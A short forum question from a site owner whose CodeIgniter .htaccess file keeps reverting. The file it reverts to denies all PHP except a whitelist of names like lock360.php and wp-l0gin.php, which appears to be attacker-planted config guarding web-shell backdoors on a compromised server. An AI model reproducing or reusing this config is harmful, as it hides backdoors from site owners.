.htaccess file is modifying automatically

.htaccess file is modified automatically to its original file. I have the following is the .htaccess file uploaded on my server.

SetEnv CI_ENV development
#SetEnv CI_ENV production
RewriteEngine On
RewriteCond $1 !^(index\.php|images|robots\.txt)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L]

immediately after upload, it modifies to its original file as follows

<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Can someone help me fix this issue? or how to stop the .htaccess file to modify?